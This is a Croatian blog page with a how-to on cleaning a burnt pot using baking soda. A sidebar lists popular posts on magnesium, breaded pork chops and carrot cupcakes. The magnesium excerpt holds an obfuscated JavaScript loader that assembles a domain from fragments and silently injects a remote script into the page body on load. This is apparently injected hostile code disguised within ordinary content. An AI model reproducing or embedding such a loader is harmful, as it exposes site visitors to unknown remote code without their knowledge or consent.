ŠTO AKO ZAGORI RUČAK U LONCU?




Što ako zagori ručak u loncu?



Dovoljno je nekoliko minuta nepažnje da se ručak pretvori u kuhinjsku noćnu moru. Kada hrana zagori, prva pomisao većine je uzeti metalnu žicu i krenuti ribati dno lonca.
 No upravo je to najčešća pogreška. Grubo struganje može oštetiti zaštitni sloj posuđa, ostaviti ogrebotine i skratiti njegov vijek trajanja. Puno jednostavnije rješenje krije se u sastojku koji većina već ima u kuhinji - sodi bikarboni.





Zašto soda bikarbona pomaže?
Soda bikarbona pomaže omekšati zagorjele ostatke hrane, posebno kada se zagrijava u vodi.

Toplina i blago alkalno djelovanje postupno otpuštaju naslage s dna lonca pa ih je kasnije puno lakše ukloniti bez agresivnog ribanja.


 
Što vam treba?
  • voda
  • dvije do tri žlice sode bikarbone
  • mekana kuhinjska spužvica


Kako očistiti zagorjeli lonac?
 
1. Prekrijte zagorjelo dno vodom
Ulijte dovoljno vode da prekrije cijeli zagorjeli dio.
 
2.
Dodajte sodu bikarbonu
Umiješajte dvije do tri žlice sode bikarbone.
 
3. Zakuhajte
Stavite lonac na štednjak i pustite da voda lagano kuha desetak minuta. Već tijekom zagrijavanja primijetit ćete kako se zagorjele naslage počinju odvajati od dna.
 
4. Ostavite da se malo ohladi
Nakon kuhanja ostavite lonac nekoliko minuta da se sadržaj malo ohladi.
 
5. Lagano prebrišite
Većina omekšanih ostataka uklonit će se vrlo lako mekanom stranom spužvice, bez jakog pritiskanja.
 
A što ako je zagorjela vanjska strana?
Ako su se na vanjskom dnu pojavile tamne mrlje, napravite gustu pastu od sode bikarbone i nekoliko kapi vode.
 
Nanesite je na mrlje, ostavite dvadesetak minuta, a zatim obrišite spužvicom.
 
Kod tvrdokornijih naslaga postupak možete ponoviti još jednom.


 
Mali savjet za kraj
Što prije krenete s čišćenjem nakon kuhanja, to će posao biti lakši. Zagorjele naslage koje odstoje nekoliko sati ili preko noći znatno se jače vežu za površinu lonca.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više